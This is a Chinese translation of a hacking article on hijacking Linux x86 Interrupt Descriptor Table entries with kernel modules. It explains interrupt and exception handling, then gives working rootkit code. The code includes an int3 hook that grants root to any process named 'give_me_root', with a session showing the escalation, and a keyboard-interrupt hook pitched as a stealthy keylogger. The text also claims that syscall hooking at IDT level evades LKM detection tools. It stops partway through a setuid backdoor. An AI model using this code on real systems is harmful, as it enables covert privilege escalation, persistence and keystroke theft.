Linux HOOK
0 - 前言
1 - 緒論
2 - 介紹
2.1 - 什么是中斷(interrupt)?
2.2 - 中斷和異常(exception)
2.3 - 中斷向量
2.4 - 什么是IDT?
3 - 異常
3.1 - 異常列表
3.2 - 當(dāng)異常出現(xiàn)時會發(fā)生什么 ?
3.3 - 中斷鉤子(Hooking) by mammon
3.4 - 一般中斷鉤子
3.5 - profit鉤子 : 我們第一個后門
3.6 - fun鉤子
4 - 硬件中斷
4.1 - 它是如何工作的 ?
4.2 - 初始化和半底(bottom half)激活過程
4.3 - 鍵盤中斷鉤子
5 - 為系統(tǒng)調(diào)用安排的異常
5.1 - 系統(tǒng)調(diào)用列表
5.2 - 系統(tǒng)調(diào)用是如何工作的 ?
5.3 - profit鉤子
5.3.1 - sys_setuid鉤子
5.3.2 - sys_write鉤子
5.4 - fun鉤子
6 - CheckIDT
7 - 參考 & 致謝
8 - 附錄
前言:
看到這片文章就讓我想到LSD在5th Argus Hacking Challenge上的精彩表演。
只不過當(dāng)時玩的是系統(tǒng)LDT漏洞,現(xiàn)在玩的是系統(tǒng)IDT后門。翻譯不妥的地方還請斧正,如果您
的英文比較好的話,還是看原文吧。
--[ 1 - 緒論
眾所周知,Intel x86 CPU能夠運行在兩種模式下:一種是實模式,一種是保護模式。
實模式我們就不討論了,現(xiàn)在所有的操作系統(tǒng)都使用的是保護模式來使內(nèi)核和一般進程隔離。
保護模式提供4個不同的權(quán)限等級(ring0...ring3)。用戶應(yīng)用程序在ring3,系統(tǒng)內(nèi)核運行
在ring0.這使內(nèi)核獲得了訪問所有CPU寄存器和硬件內(nèi)存的權(quán)力。
在文中,我們將演示如何在Linux/x86上修改IDT。再進一步,我們將演示如何使用
一些技術(shù)重定向系統(tǒng)調(diào)用(象LKM做到的那樣)。
本文中的例子只來說明使用LKM把可執(zhí)行代碼裝載到內(nèi)核空間是件容易的事情。其他超出
本文討論范圍的技術(shù)也可以用來把可執(zhí)行代碼裝載到內(nèi)核空間或者用來隱藏內(nèi)核模塊(就象
Spacewalker的方法一樣)。
CheckIDT是個有用的工具,它檢查IDT并且每5分鐘避免內(nèi)核panic一次。
--[ 2 - 介紹
----[ 2.1 - 什么是中斷(interrupt)?
"中斷被定義為當(dāng)一個事件發(fā)生時,改變處理器的指令序列。這樣的事件可由CPU芯片
內(nèi)部或者外部硬件產(chǎn)生電信號產(chǎn)生"
(摘自: "Understanding the Linux kernel," O'Reilly publishing.)
----[ 2.2 - 中斷和異常(exception)
Intel參考手冊上指出“同步中斷”(在一個指令執(zhí)行完成后,由CPU控制單元產(chǎn)生的)作為“異常”。
異步中斷(可能會在任意時刻由其他硬件產(chǎn)生的)才稱為“中斷”。中斷被外部的I/O設(shè)備產(chǎn)生。
但是異常是由編程錯誤或者是由反常情況(必須由內(nèi)核來處理)觸發(fā)的。在該文檔中,
術(shù)語“中斷信號”既指異常又指中斷。
中斷分為兩種類型:可屏蔽中斷--它在短時間片段里可被忽略;不可屏蔽中斷--它必須被立即處理。
不可屏蔽中斷是由緊急事件產(chǎn)生例如硬件失敗。著名的IRQS(中斷請求)失敗劃為可屏蔽中斷。
異常被分為不同的兩類:處理器產(chǎn)生的異常(Faults, Traps, Aborts)和編程安排的
異常(用匯編指令int or int3 觸發(fā))。后一種就是我們經(jīng)常說到的軟中斷。
----[ 2.3 - 中斷向量
每個中斷或者異常用一個0-255的數(shù)字識別。Intel稱這個數(shù)字為向量(vector).這些
數(shù)字如下分類:
- From 0 to 31 : 異常和不可屏蔽中斷
- From 32 to 47 : 可屏蔽中斷
- From 48 to 255 : 軟中斷
Linux只使用一個軟中斷(0x80)作為調(diào)用系統(tǒng)內(nèi)核函數(shù)的系統(tǒng)調(diào)用接口。
硬件IRQs從IRQ0...IRQ15分別被關(guān)聯(lián)到了中斷向量32..47。
----[ 2.4 - 什么是IDT?
IDT = Interrupt Descriptor Table 中斷描述表
IDT是一個有256個入口的線形表,每個中斷向量關(guān)聯(lián)了一個中斷處理過程。
每個IDT的入口是個8字節(jié)的描述符,所以整個IDT表的大小為256*8=2048 bytes
IDT有三種不同的描述符或者說是入口:
- 任務(wù)門描述符 Task Gate Descriptor
Linux 沒有使用該類型描述符
- 中斷門描述符 Interrupt Gate Descriptor
63 48|47 40|39 32
+------------------------------------------------------------
| | |D|D| | | | | | | | |
| HANDLER OFFSET (16-31) |P|P|P|0|1|1|1|0|0|0|0| RESERVED
| | |L|L| | | | | | | | |
=============================================================
| |
SEGMENT SELECTOR | HANDLER OFFSET (0-15) |
| |
------------------------------------------------------------+
31 16|15 0
- bits 0 to 15 : handler offset low
- bits 16 to 31 : segment selector
- bits 32 to 37 : reserved
- bits 37 to 39 : 0
- bits 40 to 47 : flags/type
- bits 48 to 63 : handler offset high
- 陷阱門描述符 Trap Gate Descriptor
同上,只是flag不同
flag 組成如下 :
- 5 bits for the type
interrupt gate : 1 1 1 1 0
trap gate : 0 1 1 1 0
- 2 bits for DPL
DPL = descriptor privilege level
- 1 bit reserved
Offset low和offset high組成了處理中斷函數(shù)的地址。當(dāng)中斷發(fā)生時會直接跳到該
地址運行。本文的目標(biāo)是改變那些地址并且讓我們自己的中斷處理函數(shù)執(zhí)行
DPL=Descriptor Privilege Level
DPL等于0或者是3. 0是特權(quán)等級(內(nèi)核模式). 當(dāng)前的執(zhí)行等級被保存在CPL寄存器中
(Current Privilege Level). 控制單元UC (Unit Of Control) 比較CPL中的值和IDT中斷
描述符中的DPL字段。假如DPL值大于(較小權(quán)限)或者等于CPL值,那么中斷處理過程被執(zhí)行。
用戶應(yīng)用程序在ring3(CPL==3)中執(zhí)行。某些中斷在用戶態(tài)是不能夠被調(diào)用的。
IDT被BIOS程序首先初始化,但是當(dāng)Linux得到控制權(quán)后,Linux自己又重新設(shè)置了IDT。
匯編指令lidt提供了初始化idtr寄存器---它包含了IDT的大小和IDT的地址。
然后setup_idt函數(shù)填充了256個IDT入口--使用了同樣的中斷門(ignore_int)。然后按照需要,
安裝正確的中斷門。
linux/arch/i386/kernel/traps.c::set_intr_gate(n, addr)
在idt寄存器指向的地址n位置插入一個中斷門。'addr'中存放中斷處理地址。
linux/arch/i386/kernel/irq.c
所有可屏蔽中斷和軟中斷被set_intr_gate初始化:
set_intr_gate :
#define FIRST_EXTERNAL_VECTOR 0x20
for (i = 0; i trap_gate
[root@redhat73 root]# grep c0108abc /boot/System.map
c0108abc T overflow
overflow -> system_gate
[root@redhat73 root]# grep c0100200 /boot/System.map
c0100200 t ignore_int
18到31 Intel保留
[root@redhat73 root]# grep c021e2ac /boot/System.map
c021e2ac r IRQ0x00_interrupt
device keyboard ->intr_gate
[root@redhat73 root]# grep c01088f0 /boot/System.map
c01088f0 T system_call
system call -> system_gate
注: checkIDT有個選項解析標(biāo)號
--[ 3 - 異常
----[ 3.1 - 異常列表
--------------------------------------------------------------------------+
number | Exception | Exception Handler |
--------------------------------------------------------------------------+
0 | Divide Error | divide_error() |
1 | Debug | debug() |
2 | Nonmaskable Interrupt | nmi() |
3 | Break Point | int3() |
4 | Overflow | overflow() |
5 | Boundary verification | bounds() |
6 | Invalid operation code | invalid_op() |
7 | Device not available | device_not_available() |
8 | Double Fault | double_fault() |
9 | Coprocessor segment overrun | coprocesseur_segment_overrun() |
10 | TSS not valid | invalid_tss() |
11 | Segment not present | segment_no_present() |
12 | stack exception | stack_segment() |
13 | General Protection | general_protection() |
14 | Page Fault | page_fault() |
15 | Reserved by Intel | none |
16 | Calcul Error with float virgul| coprocessor_error() |
17 | Alignement check | alignement_check() |
18 | Machine Check | machine_check() |
--------------------------------------------------------------------------+
異常被分為兩類:
- 處理器偵測的異常(DPL為0)
- 軟中斷(aka programmed exceptions) (DPL為3).
后者我們可在用戶態(tài)調(diào)用。
----[ 3.2 - 當(dāng)異常出現(xiàn)時會發(fā)生什么 ?
當(dāng)一個中斷發(fā)生,當(dāng)前中斷的中斷處理函數(shù)被執(zhí)行。該處理函數(shù)不是真正的處理異常函數(shù),
它僅僅做個跳轉(zhuǎn),跳轉(zhuǎn)到更好的處理函數(shù)。
異常 -----> 中間處理函數(shù) -----> 真正的處理異常函數(shù)
entry.S 定義了所有的中間處理函數(shù),也稱為通用處理函數(shù)或者是stub.
中間處理函數(shù)用asm寫的,后面真正的處理函數(shù)是用C寫的。
讓我們看看entry.S :
entry.S :
---------
**************************************************
ENTRY(nmi)
pushl $0
pushl $ SYMBOL_NAME(do_nmi)
jmp error_code
ENTRY(int3)
pushl $0
pushl $ SYMBOL_NAME(do_int3)
jmp error_code
ENTRY(overflow)
pushl $0
pushl $ SYMBOL_NAME(do_overflow)
jmp error_code
ENTRY(divide_error)
pushl $0 # no error value/code
pushl $ SYMBOL_NAME(do_divide_error)
ALIGN
error_code:
pushl %ds
pushl %eax
xorl %eax,%eax
pushl %ebp
pushl %edi
pushl %esi
pushl %edx //保存寄存器值
decl %eax # eax = -1//設(shè)置eax為 -1.
pushl %ecx
pushl %ebx
cld
movl %es,%cx
movl ORIG_EAX(%esp), %esi # get the error value
movl ES(%esp), %edi # get the function address
//拷貝硬件錯誤值($esp + 36)和處理函數(shù)地址($esp + 32)分別到esi和edi中。
movl %eax, ORIG_EAX(%esp)
movl %ecx, ES(%esp) //把eax(現(xiàn)在為-1)拷貝到錯誤代碼的位置, 把es拷貝到$esp+32的堆棧中。
movl %esp,%edx //保存stack頂?shù)牡刂返絜dx中,然后把error_code值和edx放到stack中。
pushl %esi # push the error code
pushl %edx # push the pt_regs pointer
movl $(__KERNEL_DS),%edx
movl %dx,%ds
movl %dx,%es //把內(nèi)核數(shù)據(jù)段選擇子放到ds和es寄存器中
GET_CURRENT(%ebx) //把當(dāng)前進程描述結(jié)構(gòu)的地址放到ebx中
call *%edi
addl $8,%esp
jmp ret_from_exception
**********************************************
解釋下上面的代碼:
所有的處理函數(shù)有同樣的結(jié)構(gòu)(只有system_call和device_not_available是不同的):
pushl $0
pushl $ SYMBOL_NAME(do_####name)
jmp error_code
Pushl $0 僅僅在某些異常中使用. 假設(shè)控制單元把異常的硬件錯誤值放到堆棧中。
有些異常不產(chǎn)生錯誤值所以用0代替。 最后一行跳轉(zhuǎn)到error_code
(細節(jié)看linux/arch/i386/kernel/entry.S).
錯誤值在異常中使用,是個asm的宏。
讓我們再繼續(xù)
異常 -----> 中間處理函數(shù) ---> error_code宏 -----> 真正的處理異常函數(shù)
匯編代碼error_code執(zhí)行片段:
1: 保存寄存器值
2: 設(shè)置eax為 -1.
3: 拷貝硬件錯誤值($esp + 36)和處理函數(shù)地址($esp + 32)分別到esi和edi中。
movl ORIG_EAX(%esp), %esi
movl ES(%esp), %edi
4: 把eax(現(xiàn)在為-1)拷貝到錯誤代碼的位置, 把es拷貝到$esp+32的堆棧中。
5: 保存stack頂?shù)牡刂返絜dx中,然后把error_code值和edx放到stack中。
6: 把內(nèi)核數(shù)據(jù)段選擇子放到ds和es寄存器中
7: 把當(dāng)前進程描述結(jié)構(gòu)的地址放到ebx中
8: 這些參數(shù)放在stack中(例如硬件異常值,地址,還用戶模式進程的保存的寄存器值),將被C語言
的函數(shù)使用
9: 調(diào)用異常處理函數(shù)(函數(shù)地址放在edi中).
10: 最后兩個指令是為了異常的返回準(zhǔn)備的
error_code將跳到適當(dāng)?shù)漠惓L幚砗瘮?shù)中。(具體細節(jié)看traps.c)
那些真正的異常處理函數(shù)是用C寫的。
讓我們拿一個異常處理函數(shù)作為一個具體的例子。比如不可屏蔽的nmi中斷處理函數(shù)。
注: 摘自traps.c
**************************************************************
asmlinkage void do_nmi(struct pt_regs * regs, long error_code)
{
unsigned char reason = inb(0x61);
extern atomic_t nmi_counter;
....
**************************************************************
asmlinkage是個宏,使用它是為了保持參數(shù)在stack中。因為從匯編語言到C語言代碼參數(shù)
的傳遞是通過stack的,它也可能從stack中得到一些不需要的參數(shù)。Asmlinkage將要
解析那些參數(shù)。
函數(shù)do_nmi得到pt_regs類型和error_code參數(shù)
pt_regs 在 /usr/include/asm/ptrace.h定義:
struct pt_regs {
long ebx;
long ecx;
long edx;
long esi;
long edi;
long ebp;
long eax;
int xds;
int xes;
long orig_eax;
long eip;
int xcs;
long eflags;
long esp;
int xss;
};
寄存器的一部分 被error_code代碼已經(jīng)放到了stack中,其他的寄存器被UC在硬件等級下也
放到了stack中了。
該處理函數(shù)將處理異常并且會發(fā)一個信號到進程。
----[ 3.3 - 中斷鉤子(Hooking) by mammon
Mammon寫了一篇關(guān)于在linux如何hook中斷的文章。上面講到的技術(shù)和本文差不多。但本文
使用一種更通用更一般的方法來處理中斷。
讓我們拿int3看,這是個斷點(breakpoint)中斷。該handler/stub定義如下:
ENTRY(int3)
pushl $0
pushl $ SYMBOL_NAME(do_int3)
jmp error_code
硬件錯誤值0和C函數(shù)處理地址被推到了stack中。接下來匯編代碼error_code被執(zhí)行。
我們重寫了asm的處理函數(shù),把我們自己的異常處理地址推到stack中來替代原來的處理函數(shù)(do_int3).
例如:
void stub_kad(void)
{
__asm__ (
".globl my_stub \n"
".align 4,0x90 \n"
"my_stub: \n"
"pushl $0 \n"
"pushl ptr_handler(,1) \n"
"jmp *ptr_error_code "
::
);
}
我們自己的asm處理函數(shù)看上去和原來的差不多。
- 我們在函數(shù)中使用匯編代碼使link更容易
- .globl my_stub, 假如我們這樣定義:in global : extern asmlinkage void my_stub();
這樣就允許我們調(diào)用my_stub代碼。
- align 4,0x90, 4字節(jié)對齊。在Intel處理器上是4字節(jié)對齊的。
- push ptr_handler(,1) , 符合gas語法風(fēng)格
更多的關(guān)于inline匯編請參考 [1].
我們push我們自己的處理函數(shù)地址,跳到error_code代碼。
ptr_handler是我們C處理函數(shù)地址:
unsigned long ptr_handler=(unsigned long)&my_handler;
C 處理函數(shù):
asmlinkage void my_handler(struct pt_regs * regs,long err_code)
{
void (*old_int_handler)(struct pt_regs *,long) = (void *)
old_handler;
printk("Wowowo hijacking of int 3 \n");
(*old_int_handler)(regs,err_code);
return;
}
我們需要取回兩個參數(shù),一個是寄存器指針,一個是err_code.
我們已經(jīng)看到,前面error_code代碼已經(jīng)push了這兩個參數(shù)。我們保存著老的處理函數(shù)地址。
在我們的處理函數(shù)里,我們打印出一些信息表示我們已經(jīng)hooked了中斷并且重新調(diào)用老的處理函數(shù)。
該方法是典型的hook系統(tǒng)調(diào)用的方法。
old_handler地址多少 ?
#define do_int3 0xc010977c
unsigned long old_handler=do_int3;
do_int3 地址可以從 System.map 獲得。
更清楚些 :
asm Handler
----------------
push 0
push our handler
jmp to error_code
error_code
----------
do some operation
pop our handler address
jmp to our C handler
our C Handler
--------------------
save the old handler's address
print a message
return to the real C handler
Real C Handler
-------------------
really deal with the interrupt
現(xiàn)在我們修正IDT中的描述符(offset_low and offset_high)來改變中斷處理函數(shù)的地址。
函數(shù)接受三個參數(shù):要hook的中斷號,新處理函數(shù)地址,保存著老處理函數(shù)地址的指針。
void hook_stub(int n,void *new_stub,unsigned long *old_stub)
{
unsigned long new_addr=(unsigned long)new_stub;
struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table;
//save old stub
if(old_stub)
*old_stub=(unsigned long)get_stub_from_idt(3);
//assign new stub
idt[n].offset_high = (unsigned short) (new_addr >> 16);
idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF);
return;
}
unsigned long get_addr_idt (void)
{
unsigned char idtr[6];
unsigned long idt;
__asm__ volatile ("sidt %0": "=m" (idtr));
idt = *((unsigned long *) &idtr[2]);
return(idt);
}
void * get_stub_from_idt (int n)
{
struct descriptor_idt *idte = &((struct descriptor_idt *)
ptr_idt_table) [n];
return ((void *) ((idte->offset_high offset_low));
}
struct descriptor_idt:
struct descriptor_idt
{
unsigned short offset_low,seg_selector;
unsigned char reserved,flag;
unsigned short offset_high;
};
一個描述符長度為64 bits
unsigned short : 16 bits (offset_low,seg_selector and offset_high)
unsigned char : 8 bits (reserved and flag)
(3 * 16 bit ) + (2 * 8 bit) = 64 bit = 8 octet
我們感興趣的是offset_high和offset_low字段.我們需要修改它。
Hook_stub執(zhí)行步驟:
1: 拷貝我們的處理函數(shù)地址到new_addr
2: 使idt變量指向第一個IDT描述符。
get_addr_idt()得到IDT地址.
3: 使用get_stub_from_idt我們可以保存老的處理函數(shù)的地址。
struct descriptor_idt *idte = &((struct descriptor_idt *)
ptr_idt_table) [n];
return ((void *) ((idte->offset_high offset_low));
n = 要hook的中斷號. idte是包含該中斷的中斷描述符。
返回值為是中斷處理函數(shù)的地址,(void*) (32 bits)類型。
offset_high和offset_low都是16 bits, 這兩個值組合起來就是32位的,一個完整的
中斷處理函數(shù)地址。
4 : new_addr為我們的處理函數(shù)地址,也是32位的。
我們把new_addr 16 MSB放到offset_high,16 LSB放到offset_low。
改變中斷描述符中的offset_high和offset_low字段。
在附加CODE 1中有整個代碼。
為什么這個技術(shù)不是完美的?
盡管它不是太糟糕,但是不適合其他的中斷。在這里,我們允許所有的處理函數(shù)有
如下形式:
pushl $0
pushl $ SYMBOL_NAME(do_####name)
jmp error_code
事實上,假如你看一下entry.S的話,看上去他們都是如上形式。但是,也不全是,想象下,
你要hook系統(tǒng)調(diào)用,或者是device_not_aivable處理函數(shù)甚至是硬件中斷....那么我們
該如何做呢?
----[ 3.4 - 一般中斷鉤子
我們將使用不同的技術(shù)來hook函數(shù)。請記住,處理函數(shù)是用C寫的,我們使用return返回到
真正的C處理函數(shù)內(nèi)。
現(xiàn)在我們回頭asm的代碼。
簡單的處理函數(shù):
void stub_kad(void)
{
__asm__ (
".globl my_stub \n"
".align 4,0x90 \n"
"my_stub: \n"
" call *%0 \n"
" jmp *%1 \n"
::"m"(hostile_code),"m"(old_stub)
);
}
在這里,我們調(diào)用我們自己的C處理函數(shù),處理函數(shù)被執(zhí)行并且接下來又跳回到原來的asm的處理函數(shù)。
我們的 C 處理函數(shù) :
asmlinkage void my_function()
{
printk("Interrupt %i hijack \n",interrupt);
}
發(fā)生了什么 ?
我們用我們的匯編代碼改變了idt中某個中斷的地址。
當(dāng)某個中斷被觸發(fā)時候調(diào)用過程
stub_kad()-------->hostile_code----->old_stub----->
error_code宏 -----> 真正的處理異常函數(shù)
::"m"(hostile_code),"m"(old_stub)
我們需要懂得一些inline asm匯編指令,下面是它的風(fēng)格:
asm (
assembler instruction
: output operands
: input operands
: list of modified registers
);
我們可以使用asm或者__asm__指令。
關(guān)于一些inline的匯編指令請參考相關(guān)的資料,你也可以從這里得到一些相關(guān)資料
http://www.whitecell.org/forums/viewtopic.php?topic=989&forum=4&4
第一個有形的例子 :
bash-2.05# cat test.c
#include
int main ()
{
int a=8,b=0;
printf("A/B = %i\n",a/b);
return 0;
}
bash-2.05# gcc -I/usr/src/linux/include -O2 -c hookstub-V0.2.c
bash-2.05# insmod hookstub-V0.2.o interrupt=0
Inserting hook
Hooking finish
bash-2.05# ./test
Floating point exception
Interrupt 0 hijack
bash-2.05# rmmod hookstub-V0.2
Removing hook
bash-2.05#
很好! 我們看到了"Interrupt hijack".
在該代碼中,我們使用了MODULE_PARM,它運行在插入模塊的時候傳參數(shù)進去。更多關(guān)于
MODULE_PARM的,請參閱"linux device drivers" from o'reilly [2] (chapter 2).
這就允許我們使用同一個模塊去hook不同的選擇的中斷。
----[ 3.5 - profit鉤子 : 我們第一個后門
該后門允許我們獲得root shell. C 處理函數(shù)將會給產(chǎn)生特定中斷的進程ROOT權(quán)限。
Asm 處理函數(shù)部分
------------
void stub_kad(void)
{
__asm__ (
".globl my_stub \n"
".align 4,0x90 \n"
"my_stub: \n"
" pushl %%ebx \n"
" movl %%esp,%%ebx \n"
" andl $-8192,%%ebx \n"
" pushl %%ebx \n"
" call *%0 \n"
" addl $4,%%esp \n"
" popl %%ebx \n"
" jmp *%1 \n"
::"m"(hostile_code),"m"(old_stub)
);
}
我們把當(dāng)前進程描述(使用GET_CURRENT宏)傳遞到了C處理函數(shù)里。又跳回error_code代碼。
#define GET_CURRENT(reg) \
movl %esp, reg; \
andl $-8192, reg;
定義在entry.S.
注 : 我們也可以使用current替代
C handler :
-------------
...
unsigned long hostile_code=(unsigned long)&my_function;
...
asmlinkage void my_function(unsigned long addr_task)
{
struct task_struct *p = &((struct task_struct *) addr_task)[0];
if(strcmp(p->comm,"give_me_root")==0 )
{
p->uid=0;
p->gid=0;
}
}
我們定義了一個指針指向當(dāng)前進程描述符(current process descriptor)。比較進程名。
我們沒必要給所有產(chǎn)生這個中斷的進程于ROOT權(quán)限。假如是我們的進程,給予新的權(quán)限。
"give_me_root"都是小寫字母,它產(chǎn)生個shell。
在產(chǎn)生shell之前需要先產(chǎn)生個斷點中斷,我們才會變成root權(quán)限。
演練 :
--------------
bash-2.05# gcc -I/usr/src/linux/include -O2 -c hookstub-V0.3.2.c
bash-2.05# insmod hookstub-V0.3.2.o interrupt=3
Inserting hook
Hooking finish
bash-2.05#
/ in another shell //
sh-2.05$ cat give_me_root.c
#include
int main (int argc, char ** argv)
{
system("/bin/sh");
return 0;
}
sh-2.05$ gcc -o give_me_root give_me_root.c
[alert7@redhat73 alert7]$ id
uid=502(alert7) gid=502(alert7) groups=502(alert7)
[alert7@redhat73 alert7]$ gdb give_me_root -q
(gdb) b main
Breakpoint 1 at 0x8048406
(gdb) r
Starting program: /home/alert7/give_me_root
Breakpoint 1, 0x08048406 in main ()
(gdb) c
Continuing.
sh-2.05a# id
uid=0(root) gid=0(root) groups=502(alert7)
OK,現(xiàn)在我們是ROOT了。hookstub-V0.2.c代碼在附件CODE 2
----[ 3.6 - fun鉤子
異常跟蹤器是比較感興趣的一個東西。例如我們可以hook所有的異常來打印出哪個異常是由哪個
進程觸發(fā)的。我們也能在任何時候知道誰干了什么。我們也可以打印出寄存器的值。
在arch/i386/kernel/process.c中有個函數(shù)show_regs就是完成這個功能。
void show_regs(struct pt_regs * regs)
{
long cr0 = 0L, cr2 = 0L, cr3 = 0L;
printk("\n");
printk("EIP: %04x:[]",0xffff & regs->xcs,regs->eip);
if (regs->xcs & 3)
printk(" ESP: %04x:%08lx",0xffff & regs->xss,regs->esp);
printk(" EFLAGS: %08lx\n",regs->eflags);
printk("EAX: %08lx EBX: %08lx ECX: %08lx EDX: %08lx\n",
regs->eax,regs->ebx,regs->ecx,regs->edx);
printk("ESI: %08lx EDI: %08lx EBP: %08lx",
regs->esi, regs->edi, regs->ebp);
printk(" DS: %04x ES: %04x\n",
0xffff & regs->xds,0xffff & regs->xes);
__asm__("movl %%cr0, %0": "=r" (cr0));
__asm__("movl %%cr2, %0": "=r" (cr2));
__asm__("movl %%cr3, %0": "=r" (cr3));
printk("CR0: %08lx CR2: %08lx CR3: %08lx\n", cr0, cr2, cr3);
}
你可以在每次異常的時候調(diào)用該函數(shù)打印寄存器值。
有時,改變asm處理函數(shù)是比較危險的,所以真正的C處理函數(shù)可以不被執(zhí)行。處理器產(chǎn)生異常的
時候不會收到例如SIGSTOP或者SIGSEGV的信號。在某些情況,這會是很有用的。
--[ 4 - 硬件中斷
----[ 4.1 - 它是如何工作的 ?
我們也可以使用同樣的方法hook IRQs產(chǎn)生的中斷,但是hook它們就沒多大意義了(說不定
你有好注意哦,告訴我哈)。在這,我們將hook 中斷33鍵盤中斷。有個問題是該中斷發(fā)生好
多次。處理函數(shù)很短時間被執(zhí)行好多次,所以處理函數(shù)要快而不能阻塞了系統(tǒng)。為了避免這個,
我們將使用半底(bottom half).那些優(yōu)先權(quán)小點的半底函數(shù)大部分情況適合中斷處理。kernel
等待合適的時候調(diào)用它們。在半底執(zhí)行中,其他的中斷是不被屏蔽的。
以下情況,等待的半底將被執(zhí)行:
- kernel處理完系統(tǒng)調(diào)用syscall
- kernel處理完一個異常
- kernel處理完一個中斷
- kernel為了選擇新進程而調(diào)用schedule()函數(shù)
在處理器返回到用戶模式前,它們將會被執(zhí)行。
所以,半底是很有用的,確保一個中斷的快速處理。
下面是LINUX使用的半底
----------------+-------------------------------+
Bottom half | Peripheral equipment |
----------------+-------------------------------+
CONSOLE_BH | Virtual console |
IMMEDIATE_BH | Immediate tasks file |
KEYBOARD_BH | Keyboard |
NET_BH | Network interface |
SCSI_BH | SCSI interface |
TIMER_BH | Clock |
TQUEUE_BH | Periodic tasks queue |
... | |
----------------+-------------------------------+
呵呵,好象跑題了,研究半底不是本文的目的。具體關(guān)于這個題目的文章請看
http://users.win.be/W0005997/UNIX/LINUX/IL/kernelmechanismseng.html [8]
IRQ 列表
--------
警告 ! : 為同樣的IRQs來說中斷號不總是相同的!
----+---------------+----------------------------------------
IRQ | Interrupt | Peripheral equipment
----+---------------+----------------------------------------
0 | 32 | Timer
1 | 33 | Keyboard
2 | 34 | PIC cascade
3 | 35 | Second serial port
4 | 36 | First serial port
6 | 37 | Floppy drive
8 | 40 | System clock
11 | 43 | Network interface
12 | 44 | PS/2 mouse
13 | 45 | Mathematic coprocessor
14 | 46 | First EIDE disk controller
15 | 47 | Second EIDE disk controller
----+---------------+----------------------------------------
----[ 4.2 - 初始化和半底(bottom half)激活過程
半底需要使用init_bh(n,routine)函數(shù)初始化,該函數(shù)把函數(shù)地址插入bh_base的第n個
入口(bh_base保存著半底部分的一個數(shù)組)。但它被初始化后,它才可以被激活和執(zhí)行。函數(shù)
mark_bh(n)用來激活中斷的底半部分。
所有中斷的底半部分用tq_struct類型中的元素把它們連接起來。
struct tq_struct {
struct tq_struct *next; /* linked list of active bh's */
unsigned long sync; /* must be initialized to zero */
void (*routine)(void *); /* function to call */
void *data; /* argument to function */
};
宏DELACRE_TASK_QUEUE(name,fonction,data)允許我們聲明一個tasklet,
它將被插入任務(wù)隊列(使用函數(shù)queue_task)。這里有幾個任務(wù)隊列,我們敢興趣的是
tq_immediate隊列,該隊列在半底IMMEDIATE_BH執(zhí)行(immediate隊列).
(include/linux/tqueue.h)
----[ 4.3 - 鍵盤中斷鉤子
當(dāng)我們擊一鍵時,中斷發(fā)生兩次。一次是我們push一個key的時候,一次是釋放一個鍵的時候。
以下代碼每10次中斷顯示個message,假如擊了5次鍵,那么message將出現(xiàn)。
asm處理函數(shù)同3.4,這里我們就不顯示了
Code
----
...
struct Variable
{
int entier;
char chaine[10];
};
...
static void evil_fonction(void * status)
{
struct Variable *var = (struct Variable * )status;
nb++;
if((nb%10)==0)printk("Bottom Half %i integer : %i string : %s\n",
nb,var->entier,var->chaine);
}
...
asmlinkage void my_function()
{
static struct Variable variable;
static struct tq_struct my_task = {NULL,0,evil_fonction,&variable};
variable.entier=3;
strcpy(variable.chaine,"haha hijacked key :) ");
queue_task(&my_task,&tq_immediate);
mark_bh(IMMEDIATE_BH);
}
我們定義了一個tasklet my_task,使用我們的函數(shù)和參數(shù)初始化。因為tasklet允許我們
僅使用一個參數(shù),所以我們使用了結(jié)構(gòu)地址。這將允許我們幾個參數(shù)。我們把該tasklet加到
tq_immediate列表(使用queue_task)。最后,使用mark_bh激活底部分IMMEDIATE_BH。
mark_bh(IMMEDIATE_BH)
我們必須激活I(lǐng)MMEDIATE_BH,它處理任務(wù)隊列'tq_immediate' 。當(dāng)請求的時間觸發(fā)時候,
evil_function函數(shù)將被執(zhí)行(listed in part 4.1)
evil_function僅僅10次中斷顯示一個message.我們有效的hook了鍵盤中斷。我們可以使用該
方法寫個內(nèi)核鍵盤記錄器。這個將非常的隱蔽,因為它是在中斷級別的。在這里(我沒有用代碼實現(xiàn))
我們可以知道哪個key被擊中了。為了做這個,我們可以使用函數(shù)inb()來讀I/O端口。系統(tǒng)里有
65536個I/O端口(8 bits ports). 2個8 bits ports組成一個16 位的 ports,2個16位的ports
組成一個32位的 ports.
inb,inw,inl : allow to read 1, 2 or 4 consecutive bytes from a I/O port.
outb,outw,outl : allow to write 1, 2 or 4 consecutive bytes to a I/O port.
所以,我么能使用inb函數(shù)讀鍵盤掃描碼scancode和鍵盤狀態(tài)status(壓下,釋放鍵盤)。
不幸的是,我不敢確定要讀的端口。掃描碼的端口可能是0x60,狀態(tài)端口可能是0x64吧.
scancode=inb(0x60);
status=inb(0x64);
scancode值和鍵擊的key有著一個轉(zhuǎn)換關(guān)系,作者不能確定到底是如何轉(zhuǎn)換的。
假如有人知道或者有人想發(fā)展這個的話,請聯(lián)系作者
--[ 5 - 為系統(tǒng)調(diào)用安排的異常
----[ 5.1 - 系統(tǒng)調(diào)用列表
你可以在下列rul中找到一個所有的系統(tǒng)調(diào)用的列表 :
http://www.lxhp.in-berlin.de/lhpsysc0.html [3].
注 : 小心,在2.2.* 和 2.4.* kernels之間系統(tǒng)調(diào)用號是不一樣的。
----[ 5.2 - 系統(tǒng)調(diào)用是如何工作的 ?
在這里,我們也hook了syscalls.當(dāng)系統(tǒng)調(diào)用被調(diào)用時,所有的參數(shù)都是在寄存器中。
eax : number of the called syscall
ebx : first param
ecx : second param
edx : third param
esi : fourth param
edi : fifth param
假如參數(shù)超過5的話(象mmap系統(tǒng)調(diào)用有6個參數(shù)),簡單的寄存器用來指向內(nèi)存區(qū),該區(qū)包含了
那些參數(shù)。
我們得到那些變量就象前面structure pt_regs一樣. 我們在IDT等級hook系統(tǒng)調(diào)用,而
不是hook syscall_table. kstat和其他所有當(dāng)前可用的LKM偵測工具都將失敗。
----[ 5.3 - profit鉤子
------[ 5.3.1 - sys_setuid鉤子
SYS_SETUID:
-----------
EAX: 213
EBX: uid
我們來看一個簡單的例子,又一個小后門。跟前面的3.5中的差不多,只是在這里,我們使用的是
hook syscall setuid.
asm handler :
--------------
...
#define sys_number 213
...
void stub_kad(void)
{
__asm__ (
".globl my_stub \n"
".align 4,0x90 \n"
"my_stub: \n"
//save the register value
" pushl %%ds \n"
" pushl %%eax \n"
" pushl %%ebp \n"
" pushl %%edi \n"
" pushl %%esi \n"
" pushl %%edx \n"
" pushl %%ecx \n"
" pushl %%ebx \n"
//compare if it's the good syscall
